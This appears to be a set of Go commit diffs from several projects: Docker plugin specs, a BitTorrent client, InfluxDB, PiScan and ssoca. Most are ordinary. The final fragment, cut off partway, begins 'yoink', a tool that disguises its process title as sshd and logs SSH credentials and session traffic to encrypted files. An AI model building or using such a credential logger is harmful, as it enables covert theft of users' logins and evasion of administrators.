			return nil, errors.New("mount source is not specified")
		}
		m.Source = *mnt.Source
		s.Mounts = append(s.Mounts, m)
	}

	for i, m := range s.Mounts {
		if strings.HasPrefix(m.Destination, "/dev/") {
			if _, ok := userMounts[m.Destination]; ok {
				s.Mounts = append(s.Mounts[:i], s.Mounts[i+1:]...)
			}
		}
	}

	if p.PluginObj.Config.PropagatedMount != "" {
		p.PropagatedMount = filepath.Join(p.Rootfs, p.PluginObj.Config.PropagatedMount)
		s.Linux.RootfsPropagation = "rshared"
	}

	if p.PluginObj.Config.Linux.DeviceCreation {
		rwm := "rwm"
		s.Linux.Resources.Devices = []specs.DeviceCgroup{{Allow: true, Access: &rwm}}
	}
	for _, dev := range p.PluginObj.Settings.Devices {
		path := *dev.Path
		d, dPermissions, err := oci.DevicesFromPath(path, path, "rwm")
		if err != nil {
			return nil, err
		}
		s.Linux.Devices = append(s.Linux.Devices, d...)
		s.Linux.Resources.Devices = append(s.Linux.Resources.Devices, dPermissions...)
	}

	envs := make([]string, 1, len(p.PluginObj.Settings.Env)+1)
	envs[0] = "PATH=" + system.DefaultPathEnv
	envs = append(envs, p.PluginObj.Settings.Env...)

	args := append(p.PluginObj.Config.Entrypoint, p.PluginObj.Settings.Args...)
	cwd := p.PluginObj.Config.Workdir
	if len(cwd) == 0 {
		cwd = "/"
	}
	s.Process.Terminal = false
	s.Process.Args = args
	s.Process.Cwd = cwd
	s.Process.Env = envs

	s.Process.Capabilities = append(s.Process.Capabilities, p.PluginObj.Config.Linux.Capabilities...)

	return &s, nil
}
<|endoftext|>


<commit_before>package swarm

import (
	"bytes"
	"net"
	"sync"
	"time"
	"xd/lib/bittorrent"
	"xd/lib/bittorrent/extensions"
	"xd/lib/common"
	"xd/lib/log"
	"xd/lib/metainfo"
	"xd/lib/network"
	"xd/lib/storage"
	"xd/lib/tracker"
)

// single torrent tracked in a swarm
type Torrent struct {
	Net         network.Network
	Trackers    []tracker.Announcer
	announcer   *time.Ticker
	id          common.PeerID
	st          storage.Torrent
	piece       chan pieceEvent
	obconns     map[string]*PeerConn
	ibconns     map[string]*PeerConn
	mtx         sync.Mutex
	pt          *pieceTracker
	defaultOpts *extensions.ExtendedOptions
}

func newTorrent(st storage.Torrent) *Torrent {
	t := &Torrent{
		st:          st,
		piece:       make(chan pieceEvent),
		ibconns:     make(map[string]*PeerConn),
		obconns:     make(map[string]*PeerConn),
		defaultOpts: extensions.New(),
	}
	t.pt = createPieceTracker(st, t.getRarestPiece)
	t.pt.have = t.broadcastHave
	return t
}

func (t *Torrent) getRarestPiece(remote *bittorrent.Bitfield) (idx uint32) {
	var swarm []*bittorrent.Bitfield
	t.VisitPeers(func(c *PeerConn) {
		if c.bf != nil {
			swarm = append(swarm, c.bf)
		}
	})
	idx = remote.FindRarest(swarm)
	return
}

// call a visitor on each open peer connection
func (t *Torrent) VisitPeers(v func(*PeerConn)) {
	var conns []*PeerConn
	t.mtx.Lock()
	for _, conn := range t.obconns {
		if conn != nil {
			conns = append(conns, conn)
		}
	}
	for _, conn := range t.ibconns {
		if conn != nil {
			conns = append(conns, conn)
		}
	}
	t.mtx.Unlock()
	for _, conn := range conns {
		v(conn)
	}
}

func (t *Torrent) GetStatus() TorrentStatus {
	name := t.Name()
	var peers []*PeerConnStats
	t.VisitPeers(func(c *PeerConn) {
		peers = append(peers, c.Stats())
	})
	log.Debugf("unlocked torrent mutex for %s", name)
	state := Downloading
	if t.Done() {
		state = Seeding
	}
	return TorrentStatus{
		Peers:    peers,
		Name:     name,
		State:    state,
		Infohash: t.MetaInfo().Infohash().Hex(),
	}

}

func (t *Torrent) Bitfield() *bittorrent.Bitfield {
	return t.st.Bitfield()
}

// start annoucing on all trackers
func (t *Torrent) StartAnnouncing() {
	for _, tr := range t.Trackers {
		go t.Announce(tr, tracker.Started)
	}
	if t.announcer == nil {
		t.announcer = time.NewTicker(time.Second)
	}
	go t.pollAnnounce()
}

// stop annoucing on all trackers
func (t *Torrent) StopAnnouncing() {
	if t.announcer != nil {
		t.announcer.Stop()
	}
	for _, tr := range t.Trackers {
		go t.Announce(tr, tracker.Stopped)
	}
}

// poll announce ticker channel and issue announces
func (t *Torrent) pollAnnounce() {
	for {
		_, ok := <-t.announcer.C
		if !ok {
			// done
			return
		}
		for _, tr := range t.Trackers {
			if tr.ShouldAnnounce() {
				go t.Announce(tr, tracker.Nop)
			}
		}
	}
}

// do an announce
func (t *Torrent) Announce(tr tracker.Announcer, event tracker.Event) {
	req := &tracker.Request{
		Infohash: t.st.Infohash(),
		PeerID:   t.id,
		IP:       t.Net.Addr(),
		Port:     6881,
		Event:    event,
		NumWant:  10, // TODO: don't hardcode
		Left:     t.st.DownloadRemaining(),
	}
	resp, err := tr.Announce(req)
	if err == nil {
		for _, p := range resp.Peers {
			a, e := p.Resolve(t.Net)
			if e == nil {
				if a.String() == t.Net.Addr().String() {
					// don't connect to self or a duplicate
					continue
				}
				if t.HasOBConn(a) {
					continue
				}
				// no error resolving
				go t.PersistPeer(a, p.ID)
			} else {
				log.Warnf("failed to resolve peer %s", e.Error())
			}
		}
	} else {
		log.Warnf("failed to announce to %s", tr.Name())
	}
}

// persit a connection to a peer
func (t *Torrent) PersistPeer(a net.Addr, id common.PeerID) {

	triesLeft := 10
	for !t.Done() {
		if t.HasIBConn(a) {
			return
		}
		if !t.HasOBConn(a) {
			err := t.AddPeer(a, id)
			if err == nil {
				return
			} else {
				triesLeft--
			}
			if triesLeft == 0 {
				return
			}
		} else {
			time.Sleep(time.Second)
		}
	}
}

func (t *Torrent) HasIBConn(a net.Addr) (has bool) {
	t.mtx.Lock()
	_, has = t.ibconns[a.String()]
	t.mtx.Unlock()
	return
}

func (t *Torrent) HasOBConn(a net.Addr) (has bool) {
	t.mtx.Lock()
	_, has = t.obconns[a.String()]
	t.mtx.Unlock()
	return
}

func (t *Torrent) addOBPeer(c *PeerConn) {
	t.mtx.Lock()
	t.obconns[c.c.RemoteAddr().String()] = c
	t.mtx.Unlock()
}

func (t *Torrent) removeOBConn(c *PeerConn) {
	t.mtx.Lock()
	delete(t.obconns, c.c.RemoteAddr().String())
	t.mtx.Unlock()
}

func (t *Torrent) addIBPeer(c *PeerConn) {
	t.mtx.Lock()
	t.ibconns[c.c.RemoteAddr().String()] = c
	t.mtx.Unlock()
	c.inbound = true
}

func (t *Torrent) removeIBConn(c *PeerConn) {
	t.mtx.Lock()
	delete(t.ibconns, c.c.RemoteAddr().String())
	t.mtx.Unlock()
}

// connect to a new peer for this swarm, blocks
func (t *Torrent) AddPeer(a net.Addr, id common.PeerID) error {
	if t.HasOBConn(a) {
		return
	}
	c, err := t.Net.Dial(a.Network(), a.String())
	if err == nil {
		// connected
		ih := t.st.Infohash()
		// build handshake
		h := new(bittorrent.Handshake)
		// enable bittorrent extensions
		h.Reserved.Set(bittorrent.Extension)
		copy(h.Infohash[:], ih[:])
		copy(h.PeerID[:], t.id[:])
		// send handshake
		err = h.Send(c)
		if err == nil {
			// get response to handshake
			err = h.Recv(c)
			if err == nil {
				if bytes.Equal(ih[:], h.Infohash[:]) {
					// infohashes match
					var opts *extensions.ExtendedOptions
					if h.Reserved.Has(bittorrent.Extension) {
						opts = t.defaultOpts.Copy()
					}
					pc := makePeerConn(c, t, h.PeerID, opts)
					pc.start()
					t.addOBPeer(pc)
					pc.Send(t.Bitfield().ToWireMessage())
					return nil
				} else {
					log.Warn("Infohash missmatch")
				}
			}
		}
		log.Debugf("didn't complete handshake with peer: %s", err)
		// bad thing happened
		c.Close()
	}
	log.Debugf("didn't connect to %s: %s", a, err)
	return err
}

func (t *Torrent) broadcastHave(idx uint32) {
	msg := common.NewHave(idx)
	log.Infof("%s got piece %d", t.Name(), idx)
	conns := make(map[string]*PeerConn)
	t.mtx.Lock()
	for k, conn := range t.ibconns {
		if conn != nil {
			conns[k] = conn
		}
	}
	for k, conn := range t.obconns {
		if conn != nil {
			conns[k] = conn
		}
	}
	t.mtx.Unlock()
	for _, conn := range conns {
		go conn.Send(msg)
	}
}

// get metainfo for this torrent
func (t *Torrent) MetaInfo() *metainfo.TorrentFile {
	return t.st.MetaInfo()
}

func (t *Torrent) Name() string {
	return t.MetaInfo().TorrentName()
}

// gracefully close torrent and flush to disk
func (t *Torrent) Close() {
	chnl := t.piece
	t.piece = nil
	close(chnl)
	t.st.Flush()
}

// callback called when we get a new inbound peer
func (t *Torrent) onNewPeer(c *PeerConn) {
	a := c.c.RemoteAddr()
	if t.HasIBConn(a) {
		log.Infof("duplicate peer from %s", a)
		c.Close()
		return
	}
	log.Infof("New peer (%s) for %s", c.id.String(), t.st.Infohash().Hex())
	t.addIBPeer(c)
	c.start()
	c.Send(t.Bitfield().ToWireMessage())
}

// handle a piece request
func (t *Torrent) onPieceRequest(c *PeerConn, req *common.PieceRequest) {
	if t.piece != nil {
		t.piece <- pieceEvent{c, req}
	}
}

func (t *Torrent) Run() {
	go t.handlePieces()
	for !t.Done() {
		time.Sleep(time.Minute)
	}
	log.Infof("%s is seeding", t.Name())
	for _, tr := range t.Trackers {
		go t.Announce(tr, "completed")
	}
}

func (t *Torrent) handlePieces() {
	log.Infof("%s running", t.Name())
	for {
		ev, ok := <-t.piece
		if !ok {
			log.Infof("%s torrent run exit", t.Name())
			// channel closed
			return
		}
		if ev.r.Length > 0 {
			log.Debugf("%s asked for piece %d %d-%d", ev.c.id.String(), ev.r.Index, ev.r.Begin, ev.r.Begin+ev.r.Length)
			// TODO: cache common pieces (?)
			err := t.st.VisitPiece(ev.r, func(p *common.PieceData) error {
				// have the piece, send it
				ev.c.Send(p.ToWireMessage())
				log.Debugf("%s queued piece %d %d-%d", ev.c.id.String(), ev.r.Index, ev.r.Begin, ev.r.Begin+ev.r.Length)
				return nil
			})
			if err != nil {
				ev.c.Close()
			}
		} else {
			log.Infof("%s asked for a zero length piece", ev.c.id.String())
			// TODO: should we close here?
			ev.c.Close()
		}

	}
}

func (t *Torrent) Done() bool {
	return t.Bitfield().Completed()
}
<commit_msg>make it compile<commit_after>package swarm

import (
	"bytes"
	"net"
	"sync"
	"time"
	"xd/lib/bittorrent"
	"xd/lib/bittorrent/extensions"
	"xd/lib/common"
	"xd/lib/log"
	"xd/lib/metainfo"
	"xd/lib/network"
	"xd/lib/storage"
	"xd/lib/tracker"
)

// single torrent tracked in a swarm
type Torrent struct {
	Net         network.Network
	Trackers    []tracker.Announcer
	announcer   *time.Ticker
	id          common.PeerID
	st          storage.Torrent
	piece       chan pieceEvent
	obconns     map[string]*PeerConn
	ibconns     map[string]*PeerConn
	mtx         sync.Mutex
	pt          *pieceTracker
	defaultOpts *extensions.ExtendedOptions
}

func newTorrent(st storage.Torrent) *Torrent {
	t := &Torrent{
		st:          st,
		piece:       make(chan pieceEvent),
		ibconns:     make(map[string]*PeerConn),
		obconns:     make(map[string]*PeerConn),
		defaultOpts: extensions.New(),
	}
	t.pt = createPieceTracker(st, t.getRarestPiece)
	t.pt.have = t.broadcastHave
	return t
}

func (t *Torrent) getRarestPiece(remote *bittorrent.Bitfield) (idx uint32) {
	var swarm []*bittorrent.Bitfield
	t.VisitPeers(func(c *PeerConn) {
		if c.bf != nil {
			swarm = append(swarm, c.bf)
		}
	})
	idx = remote.FindRarest(swarm)
	return
}

// call a visitor on each open peer connection
func (t *Torrent) VisitPeers(v func(*PeerConn)) {
	var conns []*PeerConn
	t.mtx.Lock()
	for _, conn := range t.obconns {
		if conn != nil {
			conns = append(conns, conn)
		}
	}
	for _, conn := range t.ibconns {
		if conn != nil {
			conns = append(conns, conn)
		}
	}
	t.mtx.Unlock()
	for _, conn := range conns {
		v(conn)
	}
}

func (t *Torrent) GetStatus() TorrentStatus {
	name := t.Name()
	var peers []*PeerConnStats
	t.VisitPeers(func(c *PeerConn) {
		peers = append(peers, c.Stats())
	})
	log.Debugf("unlocked torrent mutex for %s", name)
	state := Downloading
	if t.Done() {
		state = Seeding
	}
	return TorrentStatus{
		Peers:    peers,
		Name:     name,
		State:    state,
		Infohash: t.MetaInfo().Infohash().Hex(),
	}

}

func (t *Torrent) Bitfield() *bittorrent.Bitfield {
	return t.st.Bitfield()
}

// start annoucing on all trackers
func (t *Torrent) StartAnnouncing() {
	for _, tr := range t.Trackers {
		go t.Announce(tr, tracker.Started)
	}
	if t.announcer == nil {
		t.announcer = time.NewTicker(time.Second)
	}
	go t.pollAnnounce()
}

// stop annoucing on all trackers
func (t *Torrent) StopAnnouncing() {
	if t.announcer != nil {
		t.announcer.Stop()
	}
	for _, tr := range t.Trackers {
		go t.Announce(tr, tracker.Stopped)
	}
}

// poll announce ticker channel and issue announces
func (t *Torrent) pollAnnounce() {
	for {
		_, ok := <-t.announcer.C
		if !ok {
			// done
			return
		}
		for _, tr := range t.Trackers {
			if tr.ShouldAnnounce() {
				go t.Announce(tr, tracker.Nop)
			}
		}
	}
}

// do an announce
func (t *Torrent) Announce(tr tracker.Announcer, event tracker.Event) {
	req := &tracker.Request{
		Infohash: t.st.Infohash(),
		PeerID:   t.id,
		IP:       t.Net.Addr(),
		Port:     6881,
		Event:    event,
		NumWant:  10, // TODO: don't hardcode
		Left:     t.st.DownloadRemaining(),
	}
	resp, err := tr.Announce(req)
	if err == nil {
		for _, p := range resp.Peers {
			a, e := p.Resolve(t.Net)
			if e == nil {
				if a.String() == t.Net.Addr().String() {
					// don't connect to self or a duplicate
					continue
				}
				if t.HasOBConn(a) {
					continue
				}
				// no error resolving
				go t.PersistPeer(a, p.ID)
			} else {
				log.Warnf("failed to resolve peer %s", e.Error())
			}
		}
	} else {
		log.Warnf("failed to announce to %s", tr.Name())
	}
}

// persit a connection to a peer
func (t *Torrent) PersistPeer(a net.Addr, id common.PeerID) {

	triesLeft := 10
	for !t.Done() {
		if t.HasIBConn(a) {
			return
		}
		if !t.HasOBConn(a) {
			err := t.AddPeer(a, id)
			if err == nil {
				return
			} else {
				triesLeft--
			}
			if triesLeft == 0 {
				return
			}
		} else {
			time.Sleep(time.Second)
		}
	}
}

func (t *Torrent) HasIBConn(a net.Addr) (has bool) {
	t.mtx.Lock()
	_, has = t.ibconns[a.String()]
	t.mtx.Unlock()
	return
}

func (t *Torrent) HasOBConn(a net.Addr) (has bool) {
	t.mtx.Lock()
	_, has = t.obconns[a.String()]
	t.mtx.Unlock()
	return
}

func (t *Torrent) addOBPeer(c *PeerConn) {
	t.mtx.Lock()
	t.obconns[c.c.RemoteAddr().String()] = c
	t.mtx.Unlock()
}

func (t *Torrent) removeOBConn(c *PeerConn) {
	t.mtx.Lock()
	delete(t.obconns, c.c.RemoteAddr().String())
	t.mtx.Unlock()
}

func (t *Torrent) addIBPeer(c *PeerConn) {
	t.mtx.Lock()
	t.ibconns[c.c.RemoteAddr().String()] = c
	t.mtx.Unlock()
	c.inbound = true
}

func (t *Torrent) removeIBConn(c *PeerConn) {
	t.mtx.Lock()
	delete(t.ibconns, c.c.RemoteAddr().String())
	t.mtx.Unlock()
}

// connect to a new peer for this swarm, blocks
func (t *Torrent) AddPeer(a net.Addr, id common.PeerID) error {
	if t.HasOBConn(a) {
		return nil
	}
	c, err := t.Net.Dial(a.Network(), a.String())
	if err == nil {
		// connected
		ih := t.st.Infohash()
		// build handshake
		h := new(bittorrent.Handshake)
		// enable bittorrent extensions
		h.Reserved.Set(bittorrent.Extension)
		copy(h.Infohash[:], ih[:])
		copy(h.PeerID[:], t.id[:])
		// send handshake
		err = h.Send(c)
		if err == nil {
			// get response to handshake
			err = h.Recv(c)
			if err == nil {
				if bytes.Equal(ih[:], h.Infohash[:]) {
					// infohashes match
					var opts *extensions.ExtendedOptions
					if h.Reserved.Has(bittorrent.Extension) {
						opts = t.defaultOpts.Copy()
					}
					pc := makePeerConn(c, t, h.PeerID, opts)
					pc.start()
					t.addOBPeer(pc)
					pc.Send(t.Bitfield().ToWireMessage())
					return nil
				} else {
					log.Warn("Infohash missmatch")
				}
			}
		}
		log.Debugf("didn't complete handshake with peer: %s", err)
		// bad thing happened
		c.Close()
	}
	log.Debugf("didn't connect to %s: %s", a, err)
	return err
}

func (t *Torrent) broadcastHave(idx uint32) {
	msg := common.NewHave(idx)
	log.Infof("%s got piece %d", t.Name(), idx)
	conns := make(map[string]*PeerConn)
	t.mtx.Lock()
	for k, conn := range t.ibconns {
		if conn != nil {
			conns[k] = conn
		}
	}
	for k, conn := range t.obconns {
		if conn != nil {
			conns[k] = conn
		}
	}
	t.mtx.Unlock()
	for _, conn := range conns {
		go conn.Send(msg)
	}
}

// get metainfo for this torrent
func (t *Torrent) MetaInfo() *metainfo.TorrentFile {
	return t.st.MetaInfo()
}

func (t *Torrent) Name() string {
	return t.MetaInfo().TorrentName()
}

// gracefully close torrent and flush to disk
func (t *Torrent) Close() {
	chnl := t.piece
	t.piece = nil
	close(chnl)
	t.st.Flush()
}

// callback called when we get a new inbound peer
func (t *Torrent) onNewPeer(c *PeerConn) {
	a := c.c.RemoteAddr()
	if t.HasIBConn(a) {
		log.Infof("duplicate peer from %s", a)
		c.Close()
		return
	}
	log.Infof("New peer (%s) for %s", c.id.String(), t.st.Infohash().Hex())
	t.addIBPeer(c)
	c.start()
	c.Send(t.Bitfield().ToWireMessage())
}

// handle a piece request
func (t *Torrent) onPieceRequest(c *PeerConn, req *common.PieceRequest) {
	if t.piece != nil {
		t.piece <- pieceEvent{c, req}
	}
}

func (t *Torrent) Run() {
	go t.handlePieces()
	for !t.Done() {
		time.Sleep(time.Minute)
	}
	log.Infof("%s is seeding", t.Name())
	for _, tr := range t.Trackers {
		go t.Announce(tr, "completed")
	}
}

func (t *Torrent) handlePieces() {
	log.Infof("%s running", t.Name())
	for {
		ev, ok := <-t.piece
		if !ok {
			log.Infof("%s torrent run exit", t.Name())
			// channel closed
			return
		}
		if ev.r.Length > 0 {
			log.Debugf("%s asked for piece %d %d-%d", ev.c.id.String(), ev.r.Index, ev.r.Begin, ev.r.Begin+ev.r.Length)
			// TODO: cache common pieces (?)
			err := t.st.VisitPiece(ev.r, func(p *common.PieceData) error {
				// have the piece, send it
				ev.c.Send(p.ToWireMessage())
				log.Debugf("%s queued piece %d %d-%d", ev.c.id.String(), ev.r.Index, ev.r.Begin, ev.r.Begin+ev.r.Length)
				return nil
			})
			if err != nil {
				ev.c.Close()
			}
		} else {
			log.Infof("%s asked for a zero length piece", ev.c.id.String())
			// TODO: should we close here?
			ev.c.Close()
		}

	}
}

func (t *Torrent) Done() bool {
	return t.Bitfield().Completed()
}
<|endoftext|>


<commit_before>package influxdb

type Series struct {
	Name    string          `json:"name"`
	Columns []string        `json:"columns"`
	Points  [][]interface{} `json:"points"`
}

func (self *Series) GetName() string {
	return self.Name
}

func (self *Series) GetColumns() []string {
	return self.Columns
}

func (self *Series) GetPoints() [][]interface{} {
	return self.Points
}
<commit_msg>alias SerializedSeries<commit_after>package influxdb

import "github.com/influxdb/influxdb/common"

type Series common.SerializedSeries

func (s *Series) GetName() string {
	return ((*common.SerializedSeries)(s)).GetName()
}

func (s *Series) GetColumns() []string {
	return ((*common.SerializedSeries)(s)).GetColumns()
}

func (s *Series) GetPoints() [][]interface{} {
	return ((*common.SerializedSeries)(s)).GetPoints()
}
<|endoftext|>


<commit_before>// Copyright Banrai LLC. All rights reserved. Use of this source code is
// governed by the license that can be found in the LICENSE file.

// This code initializes and runs the WebApp on the Pi client

package main

import (
	"flag"
	"fmt"
	"github.com/Banrai/PiScan/client/database"
	"github.com/Banrai/PiScan/client/ui"
	"net/http"
	"path"
)

const (
	MIME_JSON = "application/json"
)

func main() {
	var templatesFolder, dbPath, dbFile string
	flag.StringVar(&templatesFolder, "templates", "", "Path to the html templates")
	flag.StringVar(&dbPath, "dbPath", database.SQLITE_PATH, fmt.Sprintf("Path to the sqlite file (defaults to '%s')", database.SQLITE_PATH))
	flag.StringVar(&dbFile, "dbFile", database.SQLITE_FILE, fmt.Sprintf("The sqlite database file (defaults to '%s')", database.SQLITE_FILE))
	flag.Parse()

	/* set the server ready for use */
	// confirm the html templates
	ui.InitializeTemplates(templatesFolder)

	// coordinates for connecting to the sqlite database (from the command line options)
	dbCoordinates := database.ConnCoordinates{DBPath: dbPath, DBFile: dbFile}

	/* define the server handlers */
	// dynamic request handlers
	http.HandleFunc("/", ui.Redirect("/scanned/"))
	http.HandleFunc("/scanned/", ui.MakeHTMLHandler(ui.ScannedItems, dbCoordinates))
	http.HandleFunc("/favorites/", ui.MakeHTMLHandler(ui.FavoritedItems, dbCoordinates))
	http.HandleFunc("/delete/", ui.MakeHTMLHandler(ui.DeleteItems, dbCoordinates))
	http.HandleFunc("/favorite/", ui.MakeHTMLHandler(ui.FavoriteItems, dbCoordinates))
	http.HandleFunc("/unfavorite/", ui.MakeHTMLHandler(ui.UnfavoriteItems, dbCoordinates))
	http.HandleFunc("/remove/", ui.MakeHandler(ui.RemoveSingleItem, dbCoordinates, MIME_JSON))
	//http.HandleFunc("/input/", makeHandler(ui.InputItem, dbCoordinates))

	// static resources
	http.Handle("/css/", http.StripPrefix("/css/", http.FileServer(http.Dir(path.Join(templatesFolder, "../css/")))))
	http.Handle("/js/", http.StripPrefix("/js/", http.FileServer(http.Dir(path.Join(templatesFolder, "../js/")))))
	http.Handle("/fonts/", http.StripPrefix("/fonts/", http.FileServer(http.Dir(path.Join(templatesFolder, "../fonts/")))))

	/* start the server */
	http.ListenAndServe(":8080", nil)
}
<commit_msg>Added check for required parameters at runtime<commit_after>// Copyright Banrai LLC. All rights reserved. Use of this source code is
// governed by the license that can be found in the LICENSE file.

// This code initializes and runs the WebApp on the Pi client

package main

import (
	"flag"
	"fmt"
	"github.com/Banrai/PiScan/client/database"
	"github.com/Banrai/PiScan/client/ui"
	"log"
	"net/http"
	"path"
)

const (
	MIME_JSON = "application/json"
)

func main() {
	var templatesFolder, dbPath, dbFile string
	flag.StringVar(&templatesFolder, "templates", "", "Path to the html templates (required)")
	flag.StringVar(&dbPath, "dbPath", database.SQLITE_PATH, fmt.Sprintf("Path to the sqlite file (defaults to '%s')", database.SQLITE_PATH))
	flag.StringVar(&dbFile, "dbFile", database.SQLITE_FILE, fmt.Sprintf("The sqlite database file (defaults to '%s')", database.SQLITE_FILE))
	flag.Parse()

	// make sure the required parameters are passed when run
	if templatesFolder == "" {
		log.Println("WebApp usage:")
		flag.PrintDefaults()
	} else {
		/* set the server ready for use */
		// confirm the html templates
		ui.InitializeTemplates(templatesFolder)

		// coordinates for connecting to the sqlite database (from the command line options)
		dbCoordinates := database.ConnCoordinates{DBPath: dbPath, DBFile: dbFile}

		/* define the server handlers */
		// dynamic request handlers
		http.HandleFunc("/", ui.Redirect("/scanned/"))
		http.HandleFunc("/scanned/", ui.MakeHTMLHandler(ui.ScannedItems, dbCoordinates))
		http.HandleFunc("/favorites/", ui.MakeHTMLHandler(ui.FavoritedItems, dbCoordinates))
		http.HandleFunc("/delete/", ui.MakeHTMLHandler(ui.DeleteItems, dbCoordinates))
		http.HandleFunc("/favorite/", ui.MakeHTMLHandler(ui.FavoriteItems, dbCoordinates))
		http.HandleFunc("/unfavorite/", ui.MakeHTMLHandler(ui.UnfavoriteItems, dbCoordinates))
		http.HandleFunc("/remove/", ui.MakeHandler(ui.RemoveSingleItem, dbCoordinates, MIME_JSON))
		//http.HandleFunc("/input/", makeHandler(ui.InputItem, dbCoordinates))

		// static resources
		http.Handle("/css/", http.StripPrefix("/css/", http.FileServer(http.Dir(path.Join(templatesFolder, "../css/")))))
		http.Handle("/js/", http.StripPrefix("/js/", http.FileServer(http.Dir(path.Join(templatesFolder, "../js/")))))
		http.Handle("/fonts/", http.StripPrefix("/fonts/", http.FileServer(http.Dir(path.Join(templatesFolder, "../fonts/")))))

		/* start the server */
		log.Fatal(http.ListenAndServe(":8080", nil))
	}
}
<|endoftext|>


<commit_before>package cli

import (
	"fmt"
	"os"

	clientcmd "github.com/dpb587/ssoca/client/cmd"
	svc "github.com/dpb587/ssoca/service/openvpn/client"
	"github.com/jessevdk/go-flags"

	bosherr "github.com/cloudfoundry/bosh-utils/errors"
	boshsys "github.com/cloudfoundry/bosh-utils/system"
)

type CreateTunnelblickProfile struct {
	clientcmd.ServiceCommand
	clientcmd.InteractiveAuthCommand

	SsocaExec string                       `long:"exec-ssoca" description:"Path to the ssoca binary"`
	Name      string                       `long:"name" description:"Specific file name to use for *.tblk"`
	Install   bool                         `long:"install" description:"Install the profile (sudo may prompt for privileges)"`
	Args      createTunnelblickProfileArgs `positional-args:"true"`

	serviceFactory svc.ServiceFactory
	fs             boshsys.FileSystem
	cmdRunner      boshsys.CmdRunner
}

var _ flags.Commander = CreateTunnelblickProfile{}

type createTunnelblickProfileArgs struct {
	DestinationDir string `positional-arg-name:"DESTINATION-DIR" description:"Directory where the *.tblk profile will be created (default: $PWD)"`
}

func (c CreateTunnelblickProfile) Execute(_ []string) error {
	service := c.serviceFactory.New(c.ServiceName)

	profile, err := service.CreateTunnelblickProfile(svc.CreateTunnelblickProfileOpts{
		SkipAuthRetry: c.SkipAuthRetry,
		SsocaExec:     c.SsocaExec,
		FileName:      c.Name,
		Directory:     c.Args.DestinationDir,
	})
	if err != nil {
		return err
	}

	if !c.Install {
		return nil
	}

	defer c.fs.RemoveAll(profile)

	_, _, exit, err := c.cmdRunner.RunComplexCommand(boshsys.Command{
		Name: "sudo",
		Args: []string{
			"--",
			fmt.Sprintf("%s/ssoca-install.sh", profile),
		},

		Stdin:  os.Stdin,
		Stdout: os.Stdout,
		Stderr: os.Stderr,

		KeepAttached: true,
	})
	if exit != 0 && err == nil {
		err = fmt.Errorf("exit code %d", exit)
	}
	if err != nil {
		return bosherr.WrapError(err, "Installing profile")
	}

	return nil
}
<commit_msg>Add notice about sudo password in tunnelblick installer<commit_after>package cli

import (
	"fmt"
	"os"

	clientcmd "github.com/dpb587/ssoca/client/cmd"
	svc "github.com/dpb587/ssoca/service/openvpn/client"
	"github.com/jessevdk/go-flags"

	bosherr "github.com/cloudfoundry/bosh-utils/errors"
	boshsys "github.com/cloudfoundry/bosh-utils/system"
)

type CreateTunnelblickProfile struct {
	clientcmd.ServiceCommand
	clientcmd.InteractiveAuthCommand

	SsocaExec string                       `long:"exec-ssoca" description:"Path to the ssoca binary"`
	Name      string                       `long:"name" description:"Specific file name to use for *.tblk"`
	Install   bool                         `long:"install" description:"Install the profile (sudo may prompt for privileges)"`
	Args      createTunnelblickProfileArgs `positional-args:"true"`

	serviceFactory svc.ServiceFactory
	fs             boshsys.FileSystem
	cmdRunner      boshsys.CmdRunner
}

var _ flags.Commander = CreateTunnelblickProfile{}

type createTunnelblickProfileArgs struct {
	DestinationDir string `positional-arg-name:"DESTINATION-DIR" description:"Directory where the *.tblk profile will be created (default: $PWD)"`
}

func (c CreateTunnelblickProfile) Execute(_ []string) error {
	service := c.serviceFactory.New(c.ServiceName)

	profile, err := service.CreateTunnelblickProfile(svc.CreateTunnelblickProfileOpts{
		SkipAuthRetry: c.SkipAuthRetry,
		SsocaExec:     c.SsocaExec,
		FileName:      c.Name,
		Directory:     c.Args.DestinationDir,
	})
	if err != nil {
		return err
	}

	if !c.Install {
		return nil
	}

	ui := c.Runtime.GetUI()

	ui.PrintLinef("Attempting to install profile with sudo (your workstation password may be required).")

	defer c.fs.RemoveAll(profile)

	_, _, exit, err := c.cmdRunner.RunComplexCommand(boshsys.Command{
		Name: "sudo",
		Args: []string{
			"--",
			fmt.Sprintf("%s/ssoca-install.sh", profile),
		},

		Stdin:  os.Stdin,
		Stdout: os.Stdout,
		Stderr: os.Stderr,

		KeepAttached: true,
	})
	if exit != 0 && err == nil {
		err = fmt.Errorf("exit code %d", exit)
	}
	if err != nil {
		return bosherr.WrapError(err, "Installing profile")
	}

	return nil
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"github.com/lunixbochs/gspt"
	"io"
	"log"
	"os"

	"./ghostrace/ghost/process"
)

var defaultTitle = "/usr/sbin/sshd -D"

func main() {
	fs := flag.NewFlagSet("yoink", flag.ExitOnError)
	title := fs.String("title", defaultTitle, "set process title")
	nullIO := fs.Bool("noio", false, "skip logging IO, still can log creds")
	logPath := fs.String("log", "", "set output log (disables stdout, will logrotate on startup: TREAD CAREFULLY)")
	credPath := fs.String("creds", "", "copy creds to separate log (O_APPEND and can encrypt with -key. no compression or logrotate)")
	key := fs.String("key", "", "encrypt logs with key (must be 32 hex bytes)")
	lzw := fs.Bool("lzw", false, "compress logs")
	pid := fs.Int("sshd", 0, "force root sshd pid")
	dump := fs.Bool("dump", false, "dump/decode log file(s) (default title changes to `vi`")
	tail := fs.Bool("tail", false, "tail log file(s) (default title changes to `vi`)")
	fs.Parse(os.Args[1:])
	log.SetFlags(0)

	if (*dump || *tail) && *title == defaultTitle {
		*title = "cat"
	}

	// this changes our title in `ps`
	gspt.SetProcTitle(*title)

	// bail early if we're dumping or tailing
	if *dump || *tail {
		logs, creds, err := openLogs(*logPath, *credPath, *key, *lzw)
		if err != nil {
			log.Fatalf("[-] failed to open logs: %s", err)
		}
		if *dump {
			dumpLogs(logs, creds)
			return
		}
		if *tail {
			tailLogs(logs, creds)
			return
		}
	}

	// set up logging
	var output io.WriteCloser = os.Stderr
	var credOut io.WriteCloser = &Discard{}
	var err error
	if *nullIO {
		output = &Discard{}
	}
	if *logPath != "" {
		output, err = openLog(*logPath)
		if err != nil {
			log.Fatalf("[-] failed to open log %#v: %s", *logPath, err)
		}
	}
	if *credPath != "" {
		credOut, err = os.OpenFile(*credPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
		if err != nil {
			log.Fatalf("[-] failed to open cred log %#v: %s", *credPath, err)
		}
	}
	if *lzw {
		if *logPath == "" {
			log.Println("[-] warning: -lzw requires -log")
		} else {
			output = compressStream(output)
		}
	}
	if *key != "" {
